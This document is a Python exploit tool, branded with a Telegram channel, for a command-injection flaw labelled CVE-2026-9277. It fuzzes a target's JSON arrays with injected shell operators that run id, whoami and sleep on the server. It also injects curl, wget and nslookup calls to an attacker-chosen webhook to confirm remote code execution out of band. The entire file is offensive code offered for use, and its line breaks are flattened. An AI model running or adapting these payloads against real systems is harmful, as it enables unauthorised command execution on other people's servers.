import requests import time import argparse import json from copy import deepcopy import urllib3 from typing import Dict, Any, List def print_banner(): print(r""" ____ __ _ __ __ / __ \________ ____ _____/ / / | / /__ / /_ / / / / ___/ _ \/ __ / __ / / |/ / _ \/ __/ / /_/ / / / __/ /_/ / /_/ / / /| / __/ /_ /_____/_/ \___/\__,_/\__,_/ /_/ |_/\___/\__/ """) print("") print("Telegram: t.me/Dread_Net") print("") print(ColorRed + """ CVE-2026-9277 Author: Fatemeh Zahedi """ + ColorReset) ColorRed = '\033[91m' ColorReset = '\033[0m' print_banner() urllib3.disable_warnings() class Colors: """ANSI color codes for clean terminal output formatting.""" GREEN = '\033[92m' RED = '\033[91m' YELLOW = '\033[93m' BLUE = '\033[94m' CYAN = '\033[96m' MAGENTA = '\033[95m' BOLD = '\033[1m' RESET = '\033[0m' class AdvancedCVE2026Fuzzer: def __init__(self, url: str, timeout: int = 5): self.url = url self.timeout = timeout self.session = requests.Session() self.session.verify = False self.baseline_avg = 0.0 def calculate_baseline(self, base_body: Dict) -> bool: """Calculates normal server response time to prevent false positives in time-based detection.""" print(f"{Colors.BLUE}[*] Calculating server baseline response time (3 requests)...{Colors.RESET}") times = [] for _ in range(3): try: start = time.time() self.session.post(self.url, json=base_body, timeout=self.timeout + 2) times.append(time.time() - start) except Exception as e: print(f"{Colors.RED}[-] Baseline calculation failed: {e}{Colors.RESET}") return False self.baseline_avg = sum(times) / len(times) print(f"{Colors.GREEN}[+] Baseline calculated: {self.baseline_avg:.4f}s{Colors.RESET}\n") return True def print_evidence(self, strategy: str, payload_desc: str, request_body: Dict, response_text: str, rce_type: str, elapsed: float): """Prints a structured summary of a confirmed vulnerability vector.""" print(f"\n{Colors.BOLD}{Colors.RED}[!] VULNERABILITY CONFIRMED! ({rce_type}){Colors.RESET}") print(f"{Colors.BOLD}[+] Strategy/Path:{Colors.RESET} {Colors.CYAN}{strategy}{Colors.RESET}") print(f"{Colors.BOLD}[+] Payload Context:{Colors.RESET} {Colors.YELLOW}{payload_desc}{Colors.RESET}") print(f"{Colors.BOLD}[+] Execution Time:{Colors.RESET} {elapsed:.2f}s") print(f"{Colors.BOLD}{Colors.MAGENTA}+----------------─── EVIDENCE DETAILS ───────────────────+{Colors.RESET}") print(f" {Colors.BOLD}{Colors.BLUE}SENT REQUEST BODY:{Colors.RESET}") print(f" {json.dumps(request_body, indent=4)}") print(" ") print(f" {Colors.BOLD}{Colors.GREEN}RECEIVED RESPONSE BODY:{Colors.RESET}") clean_resp = response_text.strip() if not clean_resp: print(" [Empty Response / Triggered OOB Execution]") else: lines = clean_resp.splitlines() for line in lines[:12]: print(f" {line}") if len(lines) > 12: print(f" ... (Truncated)") print(f"{Colors.BOLD}{Colors.MAGENTA}+----------------────────────────────────────────────────+{Colors.RESET}\n") def send(self, payload: Dict, strategy: str, payload_desc: str, is_oob: bool = False) -> bool: """Sends the payload and evaluates indicators of compromise (In-Band and Time-Based).""" start = time.time() try: r = self.session.post(self.url, json=payload, timeout=self.timeout + 2) elapsed = time.time() - start text_lower = r.text.lower() # Indicator 1: Direct operating system command leakage in the response body if any(k in text_lower for k in ["uid=", "root:x:", "id: command not found", "whoami:"]): self.print_evidence(strategy, payload_desc, payload, r.text, "In-Band / Output Leaked", elapsed) return True # Indicator 2: Dynamic verification for Out-of-Band delivery if is_oob and r.status_code == 200: self.print_evidence(strategy, payload_desc, payload, r.text, "Out-of-Band (OOB) / Exploit Dispatched", elapsed) return True # Indicator 3: Absolute delta comparison against the calculated network baseline if not is_oob and (elapsed - self.baseline_avg) >= (self.timeout - 0.5): self.print_evidence(strategy, payload_desc, payload, r.text, "Time-Based RCE", elapsed) return True except Exception: pass return False def mutate_recursive(self, current_node: Any, path: str, webhook: str, callback) -> None: """Recursively parses the JSON structure to find target arrays at any depth layer.""" if isinstance(current_node, dict): for k, v in current_node.items(): new_path = f"{path}.{k}" if path else k if isinstance(v, list): self.apply_mutation_matrix(v, new_path, webhook, callback) else: self.mutate_recursive(v, new_path, webhook, callback) elif isinstance(current_node, list): for idx, item in enumerate(current_node): self.mutate_recursive(item, f"{path}[{idx}]", webhook, callback) def apply_mutation_matrix(self, original_array: List, path: str, webhook: str, callback): """Generates combinatorics mutations based on the shell-quote primitive array flaws.""" arr_len = len(original_array) # 1. Local command testing vectors local_tokens = [{"op": ";\nid"}, {"op": ";\nwhoami"}, {"op": f";\nsleep {self.timeout}"}] for token in local_tokens: token_desc = json.dumps(token) for i in range(arr_len + 1): def action_insert(target_arr, idx=i, t=token): target_arr.insert(idx, t) callback(action_insert, path, f"Local -> Index {i}", token_desc, False) def action_override(target_arr, t=token): target_arr.clear() target_arr.append(t) callback(action_override, path, "Local Override", token_desc, False) # 2. Out-of-Band (OOB) sequence mutation matrix if webhook: oob_cmds = [";\ncurl", ";\nwget", ";\nnslookup"] for cmd in oob_cmds: arg_value = webhook if "nslookup" not in cmd else webhook.replace("http://", "").replace("https://", "").split('/')[0] # Sequential Array Pair: Inserts [Object(op), String(url)] into the target structure for i in range(arr_len + 1): def action_oob_pair(target_arr, idx=i, c=cmd, a=arg_value): target_arr.insert(idx, a) target_arr.insert(idx, {"op": c}) callback(action_oob_pair, path, f"OOB Strat-1 -> Index {i}", f"[{cmd}, {arg_value}]", True) # Total Array Replacement strategy def action_oob_override(target_arr, c=cmd, a=arg_value): target_arr.clear() target_arr.append({"op": c}) target_arr.append(a) callback(action_oob_override, path, "OOB Strat-2 -> Total Override", f"[{cmd}, {arg_value}]", True) def run_fuzzing(self, base_body: Dict, webhook: str = None): print(f"\n{Colors.BOLD}{Colors.BLUE}[*] Advanced Structural Exploit Scanner for CVE-2026-9277{Colors.RESET}") print(f"{Colors.BOLD}[*] Target URL:{Colors.RESET} {self.url}") if not self.calculate_baseline(base_body): print(f"{Colors.RED}[-] Target unreachable or baseline error.{Colors.RESET}") return print(f"{Colors.BOLD}[*] Scanning target JSON layers... (Non-exploitable mutations are hidden){Colors.RESET}") print("-" * 80) def execute_mutation(mutation_func, target_path, strategy_name, payload_desc, is_oob): working_copy = deepcopy(base_body) try: parts = target_path.split(".") target_node = working_copy for p in parts: if not p: continue if '[' in p: name = p.split('[')[0] idx = int(p.split('[')[1].replace(']', '')) target_node = target_node[name][idx] else: target_node = target_node[p] if isinstance(target_node, list): mutation_func(target_node) self.send(working_copy, f"{target_path} ({strategy_name})", payload_desc, is_oob) except Exception: pass self.mutate_recursive(base_body, "", webhook, execute_mutation) print("-" * 80) print(f"{Colors.BOLD}[+] Scan processing finished.{Colors.RESET}\n") def main(): parser = argparse.ArgumentParser(description="CVE-2026-9277 Structural Injection Exploit & Scanner") parser.add_argument("-u", "--url", required=True, help="Target URL endpoint") parser.add_argument("-b", "--body", required=True, help="Base JSON format configuration (supports nesting)") parser.add_argument("-w", "--webhook", default=None, help="Optional OOB webhook server url") parser.add_argument("-t", "--timeout", type=int, default=5, help="Time delay for blind detection verification") args = parser.parse_args() try: base = json.loads(args.body) except Exception as e: print(f"[-] Input parse error (Invalid JSON structure): {e}") return fuzzer = AdvancedCVE2026Fuzzer(args.timeout) fuzzer.url = args.url fuzzer.run_fuzzing(base, args.webhook) if __name__ == "__main__": main()